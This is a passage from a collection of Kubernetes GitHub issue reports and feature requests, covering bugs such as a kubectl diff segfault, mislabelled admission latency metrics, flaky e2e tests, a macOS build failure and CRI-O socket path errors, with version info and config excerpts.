v1.9.1+a0ce1bc657\ , gitcommit:\ a0ce1bc\ , gittreestate:\ clean\ , builddate:\ 2018-04-11t20:47:54z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r bare metal+kvm vms\r - os  e.g. from /etc/os-release :\r  centos linux release 7.5.1804  core  \r - kernel  e.g.  uname -a  :\r  linux os.xxxxx.lan 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r origin-ansible\r - others:\r webhook is a combination of tremolo security unison and open policy agent

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r  kubectl alpha diff -f pizza.yaml  will segfault loudly if the objects within don't exist in k8s already. i hit this by failing to specify the namespace: my objects were not in the default namespace. with  -v 6  i found that a 404 was returned by my api server.\r \r   what you expected to happen  :\r \r user is to be notified that the object s  don't exist.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. have a yaml\r 2. don't apply it\r 3.  kubectl alpha diff -f  your yaml\r \r   anything else we need to know?  :\r \r huge thank you for putting together this feature in the first place. it's a big help!\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-10t11:44:36z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.3-eks\ , gitcommit:\ 58c199a59046dbf0a13a387d3491a39213be53df\ , gittreestate:\ clean\ , builddate:\ 2018-09-21t21:00:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: eks\r - os  e.g. from /etc/os-release : osx 10.13.6\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r admission metrics name is   _admission_latencies_seconds  and   _admission_latencies_seconds_summary , the units from metrics name are  seconds , but actually the return metrics are in  microseconds .\r \r    \r   help apiserver_admission_step_admission_latencies_seconds_summary admission sub-step latency summary, broken out for each operation and api resource and step type  validate or admit .\r   type apiserver_admission_step_admission_latencies_seconds_summary summary\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.5\ } 21\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.9\ } 44\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.99\ } 70\r apiserver_admission_step_admission_latencies_seconds_summary_sum{operation=\ create\ ,rejected=\ false\ ,type=\ admit\ } 5430\r apiserver_admission_step_admission_latencies_seconds_summary_count{operation=\ create\ ,rejected=\ false\ ,type=\ admit\ } 208\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.5\ } 13\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.9\ } 54\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ create\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.99\ } 1483\r apiserver_admission_step_admission_latencies_seconds_summary_sum{operation=\ create\ ,rejected=\ false\ ,type=\ validate\ } 10181\r apiserver_admission_step_admission_latencies_seconds_summary_count{operation=\ create\ ,rejected=\ false\ ,type=\ validate\ } 187\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.5\ } 25\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.9\ } 30\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ admit\ ,quantile=\ 0.99\ } 30\r apiserver_admission_step_admission_latencies_seconds_summary_sum{operation=\ update\ ,rejected=\ false\ ,type=\ admit\ } 508\r apiserver_admission_step_admission_latencies_seconds_summary_count{operation=\ update\ ,rejected=\ false\ ,type=\ admit\ } 19\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.5\ } 18\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.9\ } 20\r apiserver_admission_step_admission_latencies_seconds_summary{operation=\ update\ ,rejected=\ false\ ,type=\ validate\ ,quantile=\ 0.99\ } 22\r apiserver_admission_step_admission_latencies_seconds_summary_sum{operation=\ update\ ,rejected=\ false\ ,type=\ validate\ } 355\r apiserver_admission_step_admission_latencies_seconds_summary_count{operation=\ update\ ,rejected=\ false\ ,type=\ validate\ } 19\r    \r \r   what you expected to happen  :\r \r return metrics in true units.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r curl apiserver:8080/metrics\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

failure cluster  899215f5b849460d1af2  https://go.k8s.io/triage {id} \r \r       error text:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:699\r error waiting for daemon pods to be running on new nodes\r expected error:\r     < errors.errorstring | 0xc4200d76b0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apps/daemon_set.go:169\r    \r      recent failures:\r  1/18/2019, 7:27:14 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/2336 sig-apps-daemon-set-serial-should-run-and-stop-complex-daemon-conformance \r  1/18/2019, 6:26:16 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/2335 sig-apps-daemon-set-serial-should-run-and-stop-complex-daemon-conformance \r  1/18/2019, 4:24:15 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/2333 sig-apps-daemon-set-serial-should-run-and-stop-complex-daemon-conformance \r  1/18/2019, 3:23:17 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/2332 sig-apps-daemon-set-serial-should-run-and-stop-complex-daemon-conformance \r  1/18/2019, 12:20:15 am ci-kubernetes-local-e2e-containerized  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-local-e2e-containerized/2329 sig-apps-daemon-set-serial-should-run-and-stop-complex-daemon-conformance \r \r \r /label sig/apps

we are interested in running certain commands as pods and services, as they start or stop. using the life-cycle hooks in the yml files does not work for us, since these commands are not optional. we have considered running a watcher pod that uses the  watch  api to run these commands. but we can't figure out how to use the watch api so that it does not keep sending the same events again and again. is there a way to tell the watch api to only send new events since connection was opened? if expecting a stateful watch api is unreasonable, will it be possible to pass it a timestamp or a monotonically increasing id to avoid getting already seen events?

i didn't feel like changing the default behavior this close to the release, but  wait.until  awkwardly just slides along and always sleeps for  period . in  26301 i added  wait.nonslidinguntil  and used it, but an early-release thing to do is just to jump over to it by default and see if anything breaks.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress-release-1.4/755/  run so broken it didn't make junit output!

  \r   what you expected to happen  :\r \r - give a node obj an upgrading annotation pairs\r \r - in function func  nc  nodecontroller  monitornodestatus   error ; \r   add another logic to handle the upgrading senario of kubelet binary to avoid evictpods on the upgrading   node, so the status of the pods are still running within the given nodeupgradetimeout,when the timeout reached , add the node to the queue of evictpods node  v1.node   to evict pods of the node.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r \t// todo: we should have a mechanism to say whether native cloud provider\r \t// is used or whether we are using overlay networking. we should return\r \t// true for cloud providers if they implement routes   interface and\r \t// we are not using overlay networking.\r    \r please see https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_network.go l81-l87

flaky jobs:\r    presubmits-kubernetes-blocking pull-kubernetes-integration  https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-e2e-gce&show-stale-tests= \r    ci-kubernetes-e2e-gci-gce  https://k8s-testgrid.appspot.com/sig-api-machinery gce&width=5 \r \r    consistency:  91%  http://storage.googleapis.com/k8s-metrics/job-flakes-latest.json \r    flakiest test :\r     sig-api-machinery  garbage collector should orphan rs created by deployment when deleteoptions.propagationpolicy is orphan  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64957/pull-kubernetes-e2e-gce/40826 \r \r    flakes in the past week:  11  http://storage.googleapis.com/k8s-metrics/flakes-latest.json \r \r    triage link\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-06-15&sig=api-machinery&job=ci-kubernetes-e2e-gci-gce&test=garbage%20collector%20should%20orphan%20rs%20created%20by%20deployment%20when%20deleteoptions.propagationpolicy%20is%20orphan\r \r / /  /sig-api-machinery\r @kubernetes/sig-api-machinery-bugs \r \r this failure is currently one of the top flake and repros in both presubmits and ci jobs. this test is also part of the conformance suite, which makes the flake far more critical. can one of you please help triage this issue.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   this a bug report \r \r  \r \r   what happened  : not possible to delete a deployment\r \r   what you expected to happen  : successfully delete the deployment\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r have a deployment:\r \r    \r $ kubectl get deployments\r my-deployment         2         0         0            0           1d\r    \r \r trying to delete it:\r \r    \r kubectl delete deployment my-deployment\r deployment.extensions \ my-deployment\  deleted\r    \r \r the command above takes years and doesn't complete. after exiting with cmd+c  left it 5+min running  the deployment is still there. it is impossible for me to delete it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: dedicated server with ovh\r - os  e.g. from /etc/os-release : ubuntu 18.04 lts\r - kernel  e.g.  uname -a  : linux 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r   what happened  :\r on centos, after rebooting master node, calling to kubectl produces the following error:\r \r  the connection to the server xxx.xxx.xxx.xxx:6443 was refused - did you specify the right host or port? \r \r   what you expected to happen  :\r expected that system will continue to function normally after reboot\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. follow  this guide  https://kubernetes.io/docs/setup/independent/install-kubeadm/ , installed kubelet, kubeadm and kubectl\r 2. make sure system works  e.g. call \ kubectl version\  \r 3. call \ reboot\ \r 4. make sure system doesn't works anymore  e.g. call \ kubectl version\  \r \r   anything else we need to know?  :\r on ubuntu 16.04 this not happens\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r aws / t2.medium\r \r - os  e.g. from /etc/os-release :\r centos 7.5\r \r - kernel  e.g.  uname -a  :\r linux ip-xxxxxxxxxx.compute.internal 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r

  \r i started kubelet with --kube-reserved=cpu=1 --enforce-node-allocatable=pods --cgroups-per-qos=true.\r  \r /sys/fs/cgroup/cpu/kubepods/cpu.cfs_quota_us is -1. i expected it to be 700000  7   cpu.cfs_period_us since my machine has 8 cores and i reserved 1 .\r  \r kubectl describe node shows the expected results:\r  \r capacity:\r cpu:                8\r allocatable:\r cpu:                7\r  \r this is essentially the same as issue 67371, which was closed recently.  i do not think that cpu shares is an effective way to enforce limits. what i see in testing is that i am able to drive my system to very high load and zero idle time. \r  \r if i manually edit /sys/fs/cgroup/cpu/kubepods/cpu.cfs_quota_us, i get the result i expect; my system retains some idle time.\r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  \r - cloud provider or hardware configuration:\r vmware pre-existing vm\r  \r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.5  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.5\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.5:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r  \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.5\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.5\ \r  \r - kernel  e.g.  uname -a  :\r linux util1-dev400.elxdc.com 3.10.0-862.11.6.el7.x86_64  1 smp fri aug 10 16:55:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r  \r - install tools:\r - others:

currently, given that there is no good option to run code generators in a  go modules  https://github.com/kubernetes/kubernetes/issues/67566  environment and given the need for some people to run this code in a newer vgo  non-gopath-based env of golang v1.11beta2+ , adding these files will allow builds/execution of go code in here. this still does not fix various other issues with the runner scripts but it gets the code closer to the point where it could be runnable and maintains the current functionality.\r \r files were simply generated on golang v1.11beta2 with:\r    \r go mod -init\r go mod -sync\r    \r \r child of  67566 \r related issue:\r -  63607\r \r i intend to have a pr open for this today\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r   what happened  : test pod is not created successfully, likely due to it being scheduled in a different zone from where the pd is provisioned.\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r kubernetes build breaks on macos high sierra:\r \r    \r $ make clean && make\r +++  0325 18:33:51  verifying prerequisites....\r +++  0325 18:33:53  removing _output directory\r k8s.io/kubernetes/vendor/github.com/spf13/pflag\r k8s.io/kubernetes/hack/make-rules/helpers/go2make\r +++  0325 18:34:12  building go targets for darwin/amd64:\r     ./vendor/k8s.io/code-generator/cmd/deepcopy-gen\r can't load package: package k8s.io/kubernetes: no go files in /users/ebartosh/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes\r !!!  0325 18:34:12  call tree:\r !!!  0325 18:34:12   1: /users/ebartosh/go/src/k8s.io/kubernetes/hack/lib/golang.sh:629 kube::golang::build_some_binaries ... \r !!!  0325 18:34:12   2: /users/ebartosh/go/src/k8s.io/kubernetes/hack/lib/golang.sh:764 kube::golang::build_binaries_for_platform ... \r !!!  0325 18:34:12   3: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make 1 :      _output/bin/deepcopy-gen  error 1\r make:      generated_files  error 2\r    \r \r the issue was triggered by pr https://github.com/kubernetes/kubernetes/pull/75158 \r \r   what you expected to happen  :\r \r build should succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r - reset k8s source tree to the latest master\r - run    make    on macos sierra\r \r   anything else we need to know?  :\r \r here is a fix for this issue: https://github.com/kubernetes/kubernetes/pull/75668\r however, some tests are still failing.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest k/k master\r - cloud provider or hardware configuration: macbook pro 2,3 ghz intel core i5\r - os  e.g:  cat /etc/os-release  : macos high sierra version 10.13.6  17g5019 \r - kernel  e.g.  uname -a  : darwin kernel version 17.7.0: thu dec 20 21:47:19 pst 2018; root:xnu-4570.71.22~1/release_x86_64 x86_64

there is a lot of code in each admission control plugin  admit  method that is determining if the incoming resource is something they care about. i think many admission control plug-in code modules would look cleaner if we could introduce a  match  function that determines if  admit  should even be invoked.  /cc @deads2k

i don't know if this actually matters, it caused me some pain on aws but i got around it by gzipping the metadata.  but the certificates  e.g. ca_cert  as built by easyca include a plain text dump of the certificate before the certificate data itself.  this bloats the data size a lot.  e.g.      certificate:     data:         version: 3  0x2          serial number: 2  0x2      signature algorithm: sha256withrsaencryption         issuer: cn=52.2.134.219@1458424351         validity             not before: mar 19 21:52:31 2016 gmt             not after : mar 17 21:52:31 2026 gmt         subject: cn=kubelet         subject public key info:             public key algorithm: rsaencryption                 public-key:  2048 bit                  modulus:                     00:c8:25:b6:16:6c:41:00:d2:63:38:c0:62:09:6c:  ...       fb:65:a9:08:d4:a8:5e:41:25:14:44:48:e7:64:77:64:d9:c9:          08:f9:e7:b5:22:e4:1c:43:cc:19:8a:e0:7d:82:d8:03:1e:58:          f5:85:bb:7a:b7:05:a7:a1:dc:b2:3b:64:80:e9:a3:92:28:0d:          ab:6a:0d:b4:e1:05:b8:3b:7e:5c:4d:22:f5:04:29:20:c4:19:          c6:44:5a:c3:cf:30:e3:6a:40:75:54:cf:59:30:ca:51:e4:9f:          f0:04:19:5d:8c:1e:8f:0e:0e:32:cf:dc:dc:6b:e7:94:cc:3d:          b0:06:c7:59:08:34:a4:97:cf:49:32:e9:e5:83:e5:4a:ca:9c:          9d:f0:b0:99:13:f5:64:a4:66:7f:b3:6b:4b:dc:90:1a:e1:6f:          0f:e2:b2:99:a4:25:8e:a9:4f:52:19:a9:2f:78:bf:b4:6e:1e:          ae:16:7d:57 -----begin certificate----- miiduzccajugawibagibajanbgkqhkig9w0baqsfadaimsawhgydvqqddbc1mi4y ljeznc4ymtlamtq1odqyndm1mtaefw0xnjazmtkymtuymzfafw0ynjazmtcymtuy mzfambixedaobgnvbammb2t1ymvszxqwggeima0gcsqgsib3dqebaquaa4ibdwaw ...

eviction  doesn't work well with clientset.\r  eviction  lives in policy group, so we need a codec for policy group to encode it, the  versionedapipath  is  /apis/policy/v1beta1 .\r but when we want to use   eviction  subresource  http://kubernetes.io/docs/admin/disruptions/ requesting-an-eviction , it should be posted to  /api/v1/namespaces/default/pods/podname/eviction  that start with a different api path.\r \r ref:  35483 \r \r cc: @kubernetes/sig-api-machinery \r

problem  \r \r in today's restclient, the group/version of the encoder and the group/version in the request url are coupled. it makes difficult for restclient to access subresources, such as  eviction  and  scale , which have to work with resources defined in other group/versions.\r \r to clarify, this is a problem only for the internalclientset, which needs an encoder to convert the object to a specific group/version. it's not a problem for the versioned clientset, whose encoder only needs to passively serialize the object.\r \r   proposed solution  \r \r add a  groupversion  field to the  request struct  https://github.com/kubernetes/kubernetes/blob/v1.5.0-beta.0/pkg/client/restclient/request.go l86 . it will be assembled in the url. its value is default to the restclient's  versionedapipath  https://github.com/kubernetes/kubernetes/blob/v1.5.0-beta.0/pkg/client/restclient/client.go l65 , and can be modified via a groupversion   method. to make it work, we need to\r \r   defer joining the  pathprefix  https://github.com/kubernetes/kubernetes/blob/v1.5.0-beta.0/pkg/client/restclient/request.go l137 \r   record the prefix segments set via prefix  , defer  joining  https://github.com/kubernetes/kubernetes/blob/v1.5.0-beta.0/pkg/client/restclient/request.go l155-l161  them with the pathprefix.\r \r   references   \r   issue with eviction   36305 \r   how  scale  works with  rc  https://github.com/kubernetes/kubernetes/pull/35483 discussion_r86699245 .\r \r @kubernetes/sig-api-machinery @liggitt @smarterclayton @ymqytw

imagine scenario:\r cluster of 200 servers, one app  results from them are aggregated upstream , each works on a different set of data which has to be downloaded   locally   before use. application controlled by deployment/statefulset. during update each instance gets terminated and restarted. there's no direct way to make sure that the updated instance schedules on the same node to re-use already downloaded data from before.  and ideally fallbacks to another node if the old one died \r \r or well, just any database that needs local permanent storage and you want to rolling-update it  deployment/rc/statefulset \r \r possible solutions that i can think of:\r fieldrefs in nodeaffinity  reference metadata.name in node's tags? \r hostpath in pv c  with nodeaffinity/nodeselector  similar to what https://github.com/kubernetes/kubernetes/issues/9802 talked about but with affinities? \r ???\r \r basically make statefulsets also have statefulstorage one could say?\r \r welcome to discussion and comments, it would really ease our updates.

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r master, next release\r \r \r   what you expected to happen  :\r print startup parameters of daemons for debug-ability.\r \r

kubernetes version  : \r - 1.6.4\r \r   environment  :\r -   cloud provider  : google cloud platform  gcp \r \r   what happened  :\r this happens with a previously static ip created in gcp cluster.\r \r when creating a service with an external ip, a service is created with the declared external endpoint but a load balancer instance in google cloud is created with another ip address.\r \r so, at the end a service in the kubernetes dashboard is shown with two address and the load balancer instance in gcp has a generated ip instead the external ip specified.\r \r a yml example:\r \r    \r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: gcp-lb-test\r   labels:\r     app: gcp-lb-test\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: gcp-lb-test\r     spec:\r       containers:\r         - name: gcp-lb-test\r           imagepullpolicy: always\r           image: tutum/hello-world\r           readinessprobe:\r             httpget:\r               path: /health\r               port: 80\r               scheme: http\r             initialdelayseconds: 320\r             timeoutseconds: 30\r           livenessprobe:\r             httpget:\r               path: /health\r               port: 80\r               scheme: http\r             initialdelayseconds: 120\r             timeoutseconds: 30\r           ports:\r             - containerport: 80\r               protocol: tcp\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: gcp-lb-test\r   labels:\r     app: gcp-lb-test\r spec:\r   selector:\r     app: gcp-lb-test\r   type: loadbalancer\r   externalips:\r     - 1.1.1.1\r   ports:\r     - name: gcp-lb-test-ui\r       port: 80\r       protocol: tcp\r    \r \r   what you expected to happen  :\r load balancer should be created with the external ip address instead of created a new one and the service should have only the specify ip.\r \r   how to reproduce it    as minimally and precisely as possible :\r create an static ip in gcp.\r create a service.\r

an effort is underway to add ipv6 functionality across kubernetes. currently, no tests exist to verify e2e functionality for kubernetes when using ipv6.

the following that have been failing on our 5k-node tests  https://k8s-testgrid.appspot.com/google-gce-scale gce-scale-correctness :\r \r -  hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling  replicationcontroller light should scale from 1 pod to 2 pods\r -  hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling  replicationcontroller light should scale from 2 pods to 1 pod\r \r this is part of the correctness suite and large cluster tests are release-blocking.\r \r cc @kubernetes/sig-autoscaling-bugs @kubernetes/sig-scalability-misc @mwielgus @directxman12 \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  >  \r \r   what happened  :\r \r we're working on a project which vendors some substantial parts of kubernetes. after updating our vendored dependencies, i noticed that building locally  on my macbook  failed, but building in a container succeeded. after some digging, i noticed a difference in type signature between  cadvisor_unsupported  unsupported  and  cadvisor_linux  linux  seemed to be causing the issue. the call site in   cmd/kubelet/app   server  unconditionally provides the extra boolean argument, causing compilation errors on osx.\r \r  unsupported : https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cadvisor/cadvisor_unsupported.go l34\r  linux : https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cadvisor/cadvisor_linux.go l108\r  server : https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l417\r \r   what you expected to happen  :\r \r i should be able to build this component on osx. the type signature should match for all implementations of the cadvisor client, even if the argument is ignore.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r \r $ cat failure_example.go\r package main\r \r import  \r         \ k8s.io/kubernetes/cmd/kubelet/app\ \r  \r \r func main   {\r         _ = app.componentkubelet\r }\r $ go install /tmp/failure_example.go\r   k8s.io/kubernetes/cmd/kubelet/app\r /users/liz/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:417:49: too many arguments in call to cadvisor.new\r         have  string, uint, cadvisor.imagefsinfoprovider, string, bool \r         want  string, uint, cadvisor.imagefsinfoprovider, string \r zsh: exit 2     go install /tmp/failure_example.go\r go install /tmp/failure_example.go  5.84s user 1.47s system 131% cpu 5.542 total\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    shell\r $ sw_vers\r productname:    mac os x\r productversion: 10.13.1\r buildversion:   17b48\r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r darwin kazkaan 17.2.0 darwin kernel version 17.2.0: fri sep 29 18:27:05 pdt 2017; root:xnu-4570.20.62~3/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

bug report\r \r while configuring the kubelet with:\r  --container-runtime-endpoint=\ unix:///var/run/crio.sock\  \r and having the sock file on that location  default location from cri , the following error occurs:\r \r  dec 10 18:30:52 kubeworker01 kubelet 15060 : w1210 18:30:52.739721   15060 manager.go:291  registration of the crio container factory failed: get http://%2fvar%2frun%2fcrio%2fcrio.sock/info: dial unix /var/run/crio/crio.sock: connect: no such file or directory \r \r later line:\r  dec 10 18:30:50 kubeworker01 kubelet 15060 : i1210 18:30:50.712558   15060 remote_runtime.go:43  connecting to runtime service unix:///var/run/crio.sock \r \r uses the correct socket.\r \r result:\r disruptive in understanding other failures.\r containers still start.\r \r   environment  :\r - kubernetes version: 1.8.0-5, 1.9.0-beta.2\r - cloud provider: gce\r - os: ubuntu 16.04\r - kernel  e.g.  uname -a  : linux kubeworker01 4.10.0-42-generic  46~16.04.1-ubuntu smp mon dec 4 15:57:59 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: the hard way\r - others:\r full kubelet config  as of now :\r    \r /usr/local/bin/kubelet \r --allow-privileged=true \r --cluster-dns=10.32.0.10 \r --cluster-domain=cluster.local \r --container-runtime=remote \r --container-runtime-endpoint=unix:///var/run/crio.sock \r --image-pull-progress-deadline=2m \r --image-service-endpoint=unix:///var/run/crio.sock \r --kubeconfig=/var/lib/kubelet/kubeconfig \r --cni-conf-dir=/etc/cni/net.d \r --cni-bin-dir=/opt/cni/bin \r --network-plugin=kubenet \r --register-node=true \r --runtime-request-timeout=10m \r --tls-cert-file=/var/lib/kubelet/kubeworker01.pem \r --tls-private-key-file=/var/lib/kubelet/kubeworker01-key.pem \r --v=2\r    \r \r internal log reference: syslog.v6.3\r

